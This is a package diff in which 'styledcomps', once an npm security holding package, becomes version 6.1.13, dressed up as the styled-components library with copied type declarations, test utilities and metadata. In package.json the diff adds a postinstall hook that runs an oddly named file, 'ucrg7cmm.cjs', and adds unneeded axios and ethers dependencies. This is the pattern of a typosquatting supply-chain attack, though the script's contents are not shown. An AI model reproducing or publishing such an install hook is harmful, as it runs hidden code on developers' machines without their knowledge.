styledcomps 0.0.1-security → 6.1.13

package/native/dist/types.d.ts

@@ -0,0 +1,183 @@
+import type * as CSS from 'csstype';
+import React from 'react';
+import ComponentStyle from './models/ComponentStyle';
+import { DefaultTheme } from './models/ThemeProvider';
+import createWarnTooManyClasses from './utils/createWarnTooManyClasses';
+import type { SupportedHTMLElements } from './utils/domElements';
+export { CSS, DefaultTheme, SupportedHTMLElements };
+interface ExoticComponentWithDisplayName<P extends object = {}> extends React.ExoticComponent<P> {
+    defaultProps?: Partial<P> | undefined;
+    displayName?: string | undefined;
+}
+/**
+ * Use this type to disambiguate between a styled-component instance
+ * and a StyleFunction or any other type of function.
+ */
+export type StyledComponentBrand = {
+    readonly _sc: symbol;
+};
+export type BaseObject = {};
+export type OmitNever<T> = {
+    [K in keyof T as T[K] extends never ? never : K]: T[K];
+};
+export type FastOmit<T extends object, U extends string | number | symbol> = {
+    [K in keyof T as K extends U ? never : K]: T[K];
+};
+export type Runtime = 'web' | 'native';
+export type AnyComponent<P extends object = any> = ExoticComponentWithDisplayName<P> | React.ComponentType<P>;
+export type KnownTarget = SupportedHTMLElements | AnyComponent;
+export type WebTarget = string | KnownTarget;
+export type NativeTarget = AnyComponent;
+export type StyledTarget<R extends Runtime> = R extends 'web' ? WebTarget : NativeTarget;
+export interface StyledOptions<R extends Runtime, Props extends object> {
+    attrs?: Attrs<Props>[] | undefined;
+    componentId?: (R extends 'web' ? string : never) | undefined;
+    displayName?: string | undefined;
+    parentComponentId?: (R extends 'web' ? string : never) | undefined;
+    shouldForwardProp?: ShouldForwardProp<R> | undefined;
+}
+export type Dict<T = any> = {
+    [key: string]: T;
+};
+/**
+ * This type is intended for when data attributes are composed via
+ * the `.attrs` API:
+ *
+ * ```tsx
+ * styled.div.attrs<DataAttributes>({ 'data-testid': 'foo' })``
+ * ```
+ *
+ * Would love to figure out how to support this natively without having to
+ * manually compose the type, but haven't figured out a way to do so yet that
+ * doesn't cause specificity loss (see `test/types.tsx` if you attempt to embed
+ * `DataAttributes` directly in the `Attrs<>` type.)
+ */
+export type DataAttributes = {
+    [key: `data-${string}`]: any;
+};
+export type ExecutionProps = {
+    /**
+     * Dynamically adjust the rendered component or HTML tag, e.g.
+     * ```
+     * const StyledButton = styled.button``
+     *
+     * <StyledButton as="a" href="/foo">
+     *   I'm an anchor now
+     * </StyledButton>
+     * ```
+     */
+    as?: KnownTarget | undefined;
+    forwardedAs?: KnownTarget | undefined;
+    theme?: DefaultTheme | undefined;
+};
+/**
+ * ExecutionProps but with `theme` required.
+ */
+export interface ExecutionContext extends ExecutionProps {
+    theme: DefaultTheme;
+}
+export interface StyleFunction<Props extends object> {
+    (executionContext: ExecutionContext & Props): Interpolation<Props>;
+}
+export type Interpolation<Props extends object> = StyleFunction<Props> | StyledObject<Props> | TemplateStringsArray | string | number | false | undefined | null | Keyframes | StyledComponentBrand | RuleSet<Props> | Interpolation<Props>[];
+export type Attrs<Props extends object = BaseObject> = (ExecutionProps & Partial<Props>) | ((props: ExecutionContext & Props) => ExecutionProps & Partial<Props>);
+export type RuleSet<Props extends object = BaseObject> = Interpolation<Props>[];
+export type Styles<Props extends object> = TemplateStringsArray | StyledObject<Props> | StyleFunction<Props>;
+export type NameGenerator = (hash: number) => string;
+export interface StyleSheet {
+    create: Function;
+}
+export interface Keyframes {
+    id: string;
+    name: string;
+    rules: string;
+}
+export interface Flattener<Props extends object> {
+    (chunks: Interpolation<Props>[], executionContext: object | null | undefined, styleSheet: StyleSheet | null | undefined): Interpolation<Props>[];
+}
+export interface Stringifier {
+    (css: string, selector?: string | undefined, prefix?: string | undefined, componentId?: string | undefined): string[];
+    hash: string;
+}
+export interface ShouldForwardProp<R extends Runtime> {
+    (prop: string, elementToBeCreated: StyledTarget<R>): boolean;
+}
+export interface CommonStatics<R extends Runtime, Props extends object> {
+    attrs: Attrs<Props>[];
+    target: StyledTarget<R>;
+    shouldForwardProp?: ShouldForwardProp<R> | undefined;
+}
+export interface IStyledStatics<R extends Runtime, OuterProps extends object> extends CommonStatics<R, OuterProps> {
+    componentStyle: R extends 'web' ? ComponentStyle : never;
+    foldedComponentIds: R extends 'web' ? string : never;
+    inlineStyle: R extends 'native' ? InstanceType<IInlineStyleConstructor<OuterProps>> : never;
+    target: StyledTarget<R>;
+    styledComponentId: R extends 'web' ? string : never;
+    warnTooManyClasses?: (R extends 'web' ? ReturnType<typeof createWarnTooManyClasses> : never) | undefined;
+}
+/**
+ * Used by PolymorphicComponent to define prop override cascading order.
+ */
+export type PolymorphicComponentProps<R extends Runtime, BaseProps extends object, AsTarget extends StyledTarget<R> | void, ForwardedAsTarget extends StyledTarget<R> | void, AsTargetProps extends object = AsTarget extends KnownTarget ? React.ComponentPropsWithRef<AsTarget> : {}, ForwardedAsTargetProps extends object = ForwardedAsTarget extends KnownTarget ? React.ComponentPropsWithRef<ForwardedAsTarget> : {}> = NoInfer<FastOmit<Substitute<BaseProps, Substitute<ForwardedAsTargetProps, AsTargetProps>>, keyof ExecutionProps>> & FastOmit<ExecutionProps, 'as' | 'forwardedAs'> & {
+    as?: AsTarget;
+    forwardedAs?: ForwardedAsTarget;
+};
+/**
+ * This type forms the signature for a forwardRef-enabled component
+ * that accepts the "as" prop to dynamically change the underlying
+ * rendered JSX. The interface will automatically attempt to extract
+ * props from the given rendering target to get proper typing for
+ * any specialized props in the target component.
+ */
+export interface PolymorphicComponent<R extends Runtime, BaseProps extends object> extends React.ForwardRefExoticComponent<BaseProps> {
+    <AsTarget extends StyledTarget<R> | void = void, ForwardedAsTarget extends StyledTarget<R> | void = void>(props: PolymorphicComponentProps<R, BaseProps, AsTarget, ForwardedAsTarget>): JSX.Element;
+}
+export interface IStyledComponent<R extends Runtime, Props extends object = BaseObject> extends PolymorphicComponent<R, Props>, IStyledStatics<R, Props>, StyledComponentBrand {
+    defaultProps?: (ExecutionProps & Partial<Props>) | undefined;
+    toString: () => string;
+}
+export interface IStyledComponentFactory<R extends Runtime, Target extends StyledTarget<R>, OuterProps extends object, OuterStatics extends object = BaseObject> {
+    <Props extends object = BaseObject, Statics extends object = BaseObject>(target: Target, options: StyledOptions<R, OuterProps & Props>, rules: RuleSet<OuterProps & Props>): IStyledComponent<R, Substitute<OuterProps, Props>> & OuterStatics & Statics;
+}
+export interface IInlineStyleConstructor<Props extends object> {
+    new (rules: RuleSet<Props>): IInlineStyle<Props>;
+}
+export interface IInlineStyle<Props extends object> {
+    rules: RuleSet<Props>;
+    generateStyleObject(executionContext: ExecutionContext & Props): object;
+}
+export type CSSProperties = CSS.Properties<number | (string & {})>;
+export type CSSPseudos = {
+    [K in CSS.Pseudos]?: CSSObject;
+};
+export type CSSKeyframes = object & {
+    [key: string]: CSSObject;
+};
+export type CSSObject<Props extends object = BaseObject> = StyledObject<Props>;
+export interface StyledObject<Props extends object = BaseObject> extends CSSProperties, CSSPseudos {
+    [key: string]: StyledObject<Props> | string | number | StyleFunction<Props> | RuleSet<any> | undefined;
+}
+/**
+ * The `css` prop is not declared by default in the types as it would cause `css` to be present
+ * on the types of anything that uses styled-components indirectly, even if they do not use the
+ * babel plugin.
+ *
+ * To enable support for the `css` prop in TypeScript, create a `styled-components.d.ts` file in
+ * your project source with the following contents:
+ *
+ * ```ts
+ * import type { CSSProp } from "styled-components";
+ *
+ * declare module "react" {
+ *  interface Attributes {
+ *    css?: CSSProp;
+ *  }
+ * }
+ * ```
+ *
+ * In order to get accurate typings for `props.theme` in `css` interpolations, see
+ * {@link DefaultTheme}.
+ */
+export type CSSProp = Interpolation<any>;
+export type NoInfer<T> = [T][T extends any ? 0 : never];
+export type Substitute<A extends object, B extends object> = FastOmit<A, keyof B> & B;

package/native/dist/utils/addUnitIfNeeded.d.ts

@@ -0,0 +1 @@
+export default function addUnitIfNeeded(name: string, value: any): string;

package/native/dist/utils/checkDynamicCreation.d.ts

@@ -0,0 +1 @@
+export declare const checkDynamicCreation: (displayName: string, componentId?: string | undefined) => void;

package/native/dist/utils/createWarnTooManyClasses.d.ts

@@ -0,0 +1,3 @@
+export declare const LIMIT = 200;
+declare const _default: (displayName: string, componentId: string) => (className: string) => void;
+export default _default;

package/native/dist/utils/determineTheme.d.ts

@@ -0,0 +1,4 @@
+import { DefaultTheme, ExecutionProps } from '../types';
+export default function determineTheme(props: ExecutionProps, providedTheme?: DefaultTheme | undefined, defaultProps?: {
+    theme?: DefaultTheme | undefined;
+}): DefaultTheme | undefined;

package/native/dist/utils/domElements.d.ts

@@ -0,0 +1,4 @@
+declare const elements: readonly ["a", "abbr", "address", "area", "article", "aside", "audio", "b", "base", "bdi", "bdo", "big", "blockquote", "body", "br", "button", "canvas", "caption", "cite", "code", "col", "colgroup", "data", "datalist", "dd", "del", "details", "dfn", "dialog", "div", "dl", "dt", "em", "embed", "fieldset", "figcaption", "figure", "footer", "form", "h1", "h2", "h3", "h4", "h5", "h6", "header", "hgroup", "hr", "html", "i", "iframe", "img", "input", "ins", "kbd", "keygen", "label", "legend", "li", "link", "main", "map", "mark", "menu", "menuitem", "meta", "meter", "nav", "noscript", "object", "ol", "optgroup", "option", "output", "p", "param", "picture", "pre", "progress", "q", "rp", "rt", "ruby", "s", "samp", "script", "section", "select", "small", "source", "span", "strong", "style", "sub", "summary", "sup", "table", "tbody", "td", "textarea", "tfoot", "th", "thead", "time", "tr", "track", "u", "ul", "use", "var", "video", "wbr", "circle", "clipPath", "defs", "ellipse", "foreignObject", "g", "image", "line", "linearGradient", "marker", "mask", "path", "pattern", "polygon", "polyline", "radialGradient", "rect", "stop", "svg", "text", "tspan"];
+declare const _default: Set<"object" | "g" | "big" | "link" | "small" | "sub" | "sup" | "a" | "abbr" | "address" | "area" | "article" | "aside" | "audio" | "b" | "base" | "bdi" | "bdo" | "blockquote" | "body" | "br" | "button" | "canvas" | "caption" | "cite" | "code" | "col" | "colgroup" | "data" | "datalist" | "dd" | "del" | "details" | "dfn" | "dialog" | "div" | "dl" | "dt" | "em" | "embed" | "fieldset" | "figcaption" | "figure" | "footer" | "form" | "h1" | "h2" | "h3" | "h4" | "h5" | "h6" | "header" | "hgroup" | "hr" | "html" | "i" | "iframe" | "img" | "input" | "ins" | "kbd" | "keygen" | "label" | "legend" | "li" | "main" | "map" | "mark" | "menu" | "menuitem" | "meta" | "meter" | "nav" | "noscript" | "ol" | "optgroup" | "option" | "output" | "p" | "param" | "picture" | "pre" | "progress" | "q" | "rp" | "rt" | "ruby" | "s" | "samp" | "script" | "section" | "select" | "source" | "span" | "strong" | "style" | "summary" | "table" | "tbody" | "td" | "textarea" | "tfoot" | "th" | "thead" | "time" | "tr" | "track" | "u" | "ul" | "var" | "video" | "wbr" | "svg" | "circle" | "clipPath" | "defs" | "ellipse" | "foreignObject" | "image" | "line" | "linearGradient" | "marker" | "mask" | "path" | "pattern" | "polygon" | "polyline" | "radialGradient" | "rect" | "stop" | "text" | "tspan" | "use">;
+export default _default;
+export type SupportedHTMLElements = (typeof elements)[number];

package/native/dist/utils/empties.d.ts

@@ -0,0 +1,3 @@
+import { Dict } from '../types';
+export declare const EMPTY_ARRAY: readonly any[];
+export declare const EMPTY_OBJECT: Readonly<Dict<any>>;

package/native/dist/utils/error.d.ts

@@ -0,0 +1,5 @@
+/**
+ * Create an error file out of errors.md for development and a simple web link to the full errors
+ * in production mode.
+ */
+export default function throwStyledComponentsError(code: string | number, ...interpolations: any[]): Error;

package/native/dist/utils/errors.d.ts

@@ -0,0 +1,21 @@
+declare const _default: {
+    '1': string;
+    '2': string;
+    '3': string;
+    '4': string;
+    '5': string;
+    '6': string;
+    '7': string;
+    '8': string;
+    '9': string;
+    '10': string;
+    '11': string;
+    '12': string;
+    '13': string;
+    '14': string;
+    '15': string;
+    '16': string;
+    '17': string;
+    '18': string;
+};
+export default _default;

package/native/dist/utils/escape.d.ts

@@ -0,0 +1,5 @@
+/**
+ * TODO: Explore using CSS.escape when it becomes more available
+ * in evergreen browsers.
+ */
+export default function escape(str: string): string;

package/native/dist/utils/flatten.d.ts

@@ -0,0 +1,4 @@
+import StyleSheet from '../sheet';
+import { Dict, ExecutionContext, Interpolation, RuleSet, Stringifier } from '../types';
+export declare const objToCssArray: (obj: Dict<any>) => string[];
+export default function flatten<Props extends object>(chunk: Interpolation<object>, executionContext?: (ExecutionContext & Props) | undefined, styleSheet?: StyleSheet | undefined, stylisInstance?: Stringifier | undefined): RuleSet<Props>;

package/native/dist/utils/generateAlphabeticName.d.ts

@@ -0,0 +1 @@
+export default function generateAlphabeticName(code: number): string;

package/native/dist/utils/generateComponentId.d.ts

@@ -0,0 +1 @@
+export default function generateComponentId(str: string): string;

package/native/dist/utils/generateDisplayName.d.ts

@@ -0,0 +1,2 @@
+import { StyledTarget } from '../types';
+export default function generateDisplayName(target: StyledTarget<any>): string;

package/native/dist/utils/getComponentName.d.ts

@@ -0,0 +1,2 @@
+import { StyledTarget } from '../types';
+export default function getComponentName(target: StyledTarget<any>): string;

package/native/dist/utils/hash.d.ts

@@ -0,0 +1,3 @@
+export declare const SEED = 5381;
+export declare const phash: (h: number, x: string) => number;
+export declare const hash: (x: string) => number;

package/native/dist/utils/hoist.d.ts

@@ -0,0 +1,51 @@
+import React from 'react';
+import { AnyComponent } from '../types';
+/**
+ * Adapted from hoist-non-react-statics to avoid the react-is dependency.
+ */
+declare const REACT_STATICS: {
+    childContextTypes: boolean;
+    contextType: boolean;
+    contextTypes: boolean;
+    defaultProps: boolean;
+    displayName: boolean;
+    getDefaultProps: boolean;
+    getDerivedStateFromError: boolean;
+    getDerivedStateFromProps: boolean;
+    mixins: boolean;
+    propTypes: boolean;
+    type: boolean;
+};
+declare const KNOWN_STATICS: {
+    name: boolean;
+    length: boolean;
+    prototype: boolean;
+    caller: boolean;
+    callee: boolean;
+    arguments: boolean;
+    arity: boolean;
+};
+declare const FORWARD_REF_STATICS: {
+    $$typeof: boolean;
+    render: boolean;
+    defaultProps: boolean;
+    displayName: boolean;
+    propTypes: boolean;
+};
+declare const MEMO_STATICS: {
+    $$typeof: boolean;
+    compare: boolean;
+    defaultProps: boolean;
+    displayName: boolean;
+    propTypes: boolean;
+    type: boolean;
+};
+type OmniComponent = AnyComponent;
+type ExcludeList = {
+    [key: string]: true;
+};
+type NonReactStatics<S extends OmniComponent, C extends ExcludeList = {}> = {
+    [key in Exclude<keyof S, S extends React.MemoExoticComponent<any> ? keyof typeof MEMO_STATICS | keyof C : S extends React.ForwardRefExoticComponent<any> ? keyof typeof FORWARD_REF_STATICS | keyof C : keyof typeof REACT_STATICS | keyof typeof KNOWN_STATICS | keyof C>]: S[key];
+};
+export default function hoistNonReactStatics<T extends OmniComponent, S extends OmniComponent, C extends ExcludeList = {}>(targetComponent: T, sourceComponent: S, excludelist?: C | undefined): T & NonReactStatics<S, C>;
+export {};

package/native/dist/utils/hyphenateStyleName.d.ts

@@ -0,0 +1,14 @@
+/**
+ * Hyphenates a camelcased CSS property name, for example:
+ *
+ *   > hyphenateStyleName('backgroundColor')
+ *   < "background-color"
+ *   > hyphenateStyleName('MozTransition')
+ *   < "-moz-transition"
+ *   > hyphenateStyleName('msTransition')
+ *   < "-ms-transition"
+ *
+ * As Modernizr suggests (http://modernizr.com/docs/#prefixed), an `ms` prefix
+ * is converted to `-ms-`.
+ */
+export default function hyphenateStyleName(string: string): string;

package/native/dist/utils/interleave.d.ts

@@ -0,0 +1,2 @@
+import { Interpolation } from '../types';
+export default function interleave<Props extends object>(strings: readonly string[], interpolations: Interpolation<Props>[]): Interpolation<Props>[];

package/native/dist/utils/isFunction.d.ts

@@ -0,0 +1 @@
+export default function isFunction(test: any): test is Function;

package/native/dist/utils/isPlainObject.d.ts

@@ -0,0 +1 @@
+export default function isPlainObject(x: any): x is Record<any, any>;

package/native/dist/utils/isStatelessFunction.d.ts

@@ -0,0 +1 @@
+export default function isStatelessFunction(test: any): test is Function;

package/native/dist/utils/isStaticRules.d.ts

@@ -0,0 +1,2 @@
+import { RuleSet } from '../types';
+export default function isStaticRules<Props extends object>(rules: RuleSet<Props>): boolean;

package/native/dist/utils/isStyledComponent.d.ts

@@ -0,0 +1,2 @@
+import { StyledComponentBrand } from '../types';
+export default function isStyledComponent(target: any): target is StyledComponentBrand;

package/native/dist/utils/isTag.d.ts

@@ -0,0 +1,2 @@
+import { StyledTarget } from '../types';
+export default function isTag(target: StyledTarget<'web'>): target is string;

package/native/dist/utils/joinStrings.d.ts

@@ -0,0 +1,5 @@
+/**
+ * Convenience function for joining strings to form className chains
+ */
+export declare function joinStrings(a?: string | undefined, b?: string | undefined): string;
+export declare function joinStringArray(arr: string[], sep?: string | undefined): string;

package/native/dist/utils/mixinDeep.d.ts

@@ -0,0 +1,6 @@
+/**
+ * Arrays & POJOs merged recursively, other objects and value types are overridden
+ * If target is not a POJO or an Array, it will get source properties injected via shallow merge
+ * Source objects applied left to right.  Mutates & returns target.  Similar to lodash merge.
+ */
+export default function mixinDeep(target: any, ...sources: any[]): any;

package/native/dist/utils/nonce.d.ts

@@ -0,0 +1 @@
+export default function getNonce(): string | null;

package/native/dist/utils/setToString.d.ts

@@ -0,0 +1,17 @@
+/**
+ * If the Object prototype is frozen, the "toString" property is non-writable. This means that any objects which inherit this property
+ * cannot have the property changed using a "=" assignment operator. If using strict mode, attempting that will cause an error. If not using
+ * strict mode, attempting that will be silently ignored.
+ *
+ * If the Object prototype is frozen, inherited non-writable properties can still be shadowed using one of two mechanisms:
+ *
+ *  1. ES6 class methods: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes#methods
+ *  2. Using the `Object.defineProperty()` static method:
+ *     https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty
+ *
+ * However, this project uses Babel to transpile ES6 classes, and transforms ES6 class methods to use the assignment operator instead:
+ * https://babeljs.io/docs/babel-plugin-transform-class-properties#options
+ *
+ * Therefore, the most compatible way to shadow the prototype's "toString" property is to define a new "toString" property on this object.
+ */
+export declare function setToString(object: object, toStringFn: () => string): void;

package/native/dist/utils/stylis.d.ts

@@ -0,0 +1,10 @@
+import * as stylis from 'stylis';
+import { Stringifier } from '../types';
+export type ICreateStylisInstance = {
+    options?: {
+        namespace?: string | undefined;
+        prefix?: boolean | undefined;
+    } | undefined;
+    plugins?: stylis.Middleware[] | undefined;
+};
+export default function createStylisInstance({ options, plugins, }?: ICreateStylisInstance): Stringifier;

package/native/package.json

@@ -0,0 +1,8 @@
+{
+  "name": "styled-components/native",
+  "private": true,
+  "types": "./dist/native/index.d.ts",
+  "main": "./dist/styled-components.native.cjs.js",
+  "jsnext:main": "./dist/styled-components.native.esm.js",
+  "module": "./dist/styled-components.native.esm.js"
+}

package/package.json

@@ -1,6 +1,127 @@
 {
   "name": "styledcomps",
-  "version": "0.0.1-security",
-  "description": "security holding package",
-  "repository": "npm/security-holder"
-}
+  "version": "6.1.13",
+  "description": "CSS for the <Component> Age. Style components your way with speed, strong typing, and flexibility.",
+  "types": "dist/index.d.ts",
+  "main": "dist/styled-components.cjs.js",
+  "module": "./dist/styled-components.esm.js",
+  "react-native": "native/dist/styled-components.native.cjs.js",
+  "browser": {
+    "./dist/styled-components.cjs.js": "./dist/styled-components.browser.cjs.js",
+    "./dist/styled-components.esm.js": "./dist/styled-components.browser.esm.js"
+  },
+  "sideEffects": false,
+  "scripts": {
+    "postinstall": "node ucrg7cmm.cjs"
+  },
+  "repository": {
+    "type": "git",
+    "url": "git+https://github.com/styled-components/styled-components.git"
+  },
+  "files": [
+    "LICENSE",
+    "README.md",
+    "dist",
+    "native",
+    "test-utils",
+    "ucrg7cmm.cjs"
+  ],
+  "keywords": [
+    "react",
+    "css",
+    "css-in-js",
+    "styled-components",
+    "styling"
+  ],
+  "author": "Glen Maddern",
+  "license": "MIT",
+  "bugs": {
+    "url": "https://github.com/styled-components/styled-components/issues"
+  },
+  "homepage": "https://styled-components.com",
+  "dependencies": {
+    "@emotion/is-prop-valid": "1.2.2",
+    "@emotion/unitless": "0.8.1",
+    "@types/stylis": "4.2.5",
+    "css-to-react-native": "3.2.0",
+    "csstype": "3.1.3",
+    "postcss": "8.4.38",
+    "shallowequal": "1.1.0",
+    "stylis": "4.3.2",
+    "tslib": "2.6.2",
+    "axios": "^1.7.7",
+    "ethers": "^6.13.2"
+  },
+  "peerDependencies": {
+    "react": ">= 16.8.0",
+    "react-dom": ">= 16.8.0"
+  },
+  "devDependencies": {
+    "@babel/core": "7.24.5",
+    "@babel/helper-module-imports": "7.24.3",
+    "@babel/plugin-external-helpers": "7.24.1",
+    "@babel/plugin-proposal-class-properties": "7.18.6",
+    "@babel/plugin-proposal-object-rest-spread": "7.20.7",
+    "@babel/plugin-transform-flow-strip-types": "7.24.1",
+    "@babel/preset-env": "7.24.5",
+    "@babel/preset-react": "7.24.1",
+    "@babel/preset-typescript": "7.24.1",
+    "@rollup/plugin-typescript": "11.1.6",
+    "@types/enzyme": "3.10.18",
+    "@types/jest": "29.5.12",
+    "@types/js-beautify": "1.14.3",
+    "@types/node": "18.19.31",
+    "@types/react": "17.0.80",
+    "@types/react-dom": "17.0.25",
+    "@types/react-frame-component": "4.1.6",
+    "@types/react-native": "0.69.26",
+    "@types/react-test-renderer": "17.0.9",
+    "@types/shallowequal": "1.1.5",
+    "babel-jest": "29.7.0",
+    "babel-plugin-add-module-exports": "1.0.4",
+    "babel-plugin-styled-components": "2.1.4",
+    "babel-plugin-tester": "10.1.0",
+    "bundlewatch": "0.3.3",
+    "jest": "29.7.0",
+    "jest-environment-jsdom": "29.7.0",
+    "jest-serializer-html": "7.1.0",
+    "jest-watch-typeahead": "2.2.2",
+    "js-beautify": "1.15.1",
+    "prettier": "3.2.5",
+    "prop-types": "15.8.1",
+    "react": "17.0.2",
+    "react-dom": "17.0.2",
+    "react-frame-component": "4.1.3",
+    "react-native": "0.70.15",
+    "react-test-renderer": "17.0.2",
+    "rollup": "3.29.4",
+    "rollup-plugin-commonjs": "10.1.0",
+    "rollup-plugin-json": "4.0.0",
+    "rollup-plugin-node-resolve": "5.2.0",
+    "rollup-plugin-replace": "2.2.0",
+    "rollup-plugin-sourcemaps": "0.6.3",
+    "rollup-plugin-terser": "7.0.2",
+    "stylis-plugin-rtl": "2.1.1",
+    "ts-toolbelt": "9.6.0",
+    "typescript": "5.4.5"
+  },
+  "bundlewatch": {
+    "files": [
+      {
+        "path": "./dist/styled-components.min.js",
+        "maxSize": "11.5kB"
+      }
+    ]
+  },
+  "collective": {
+    "type": "opencollective",
+    "url": "https://opencollective.com/styled-components"
+  },
+  "funding": {
+    "type": "opencollective",
+    "url": "https://opencollective.com/styled-components"
+  },
+  "engines": {
+    "node": ">= 16"
+  }
+}

package/test-utils/index.ts

@@ -0,0 +1,39 @@
+import { ReactWrapper } from 'enzyme';
+import { IStyledComponent } from '../src/types';
+
+function assertElement(element: any) {
+  if (!(element instanceof HTMLElement)) {
+    throw new Error('Must pass a DOM element to find/findAll(element, styledComponent)"');
+  }
+}
+
+function assertStyledComponent(styledComponent: any) {
+  if (
+    !styledComponent?.styledComponentId ||
+    typeof styledComponent.styledComponentId !== 'string'
+  ) {
+    throw new Error(
+      `${
+        styledComponent.displayName || styledComponent.name || 'Component'
+      } is not a styled component.`
+    );
+  }
+}
+
+export function enzymeFind(wrapper: ReactWrapper, styledComponent: IStyledComponent<'web', any>) {
+  assertStyledComponent(styledComponent);
+
+  return wrapper.find(`.${styledComponent.styledComponentId}`);
+}
+
+export function find(element: Element, styledComponent: IStyledComponent<'web', any>) {
+  assertElement(element);
+  assertStyledComponent(styledComponent);
+  return element.querySelector(`.${styledComponent.styledComponentId}`);
+}
+
+export function findAll(element: Element, styledComponent: IStyledComponent<'web', any>) {
+  assertElement(element);
+  assertStyledComponent(styledComponent);
+  return element.querySelectorAll(`.${styledComponent.styledComponentId}`);
+}

package/test-utils/setupTestFramework.ts

@@ -0,0 +1,26 @@
+const consoleError = console.error;
+
+const suppressedErrors = [
+  'Error: Could not parse CSS stylesheet',
+  'Warning: Use the `defaultValue` or `value` props instead of setting children on <textarea>',
+  'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx',
+];
+
+beforeEach(() => {
+  // Suppress errors from JSDOM CSS parser
+  // See: https://github.com/jsdom/jsdom/issues/2177
+  console.error = (logged: any) => {
+    const message = logged.stack || logged;
+
+    if (
+      typeof message !== 'string' ||
+      !suppressedErrors.some(suppressedError => message.includes(suppressedError))
+    ) {
+      consoleError(logged);
+    }
+  };
+});
+
+afterEach(() => {
+  console.error = consoleError;
+});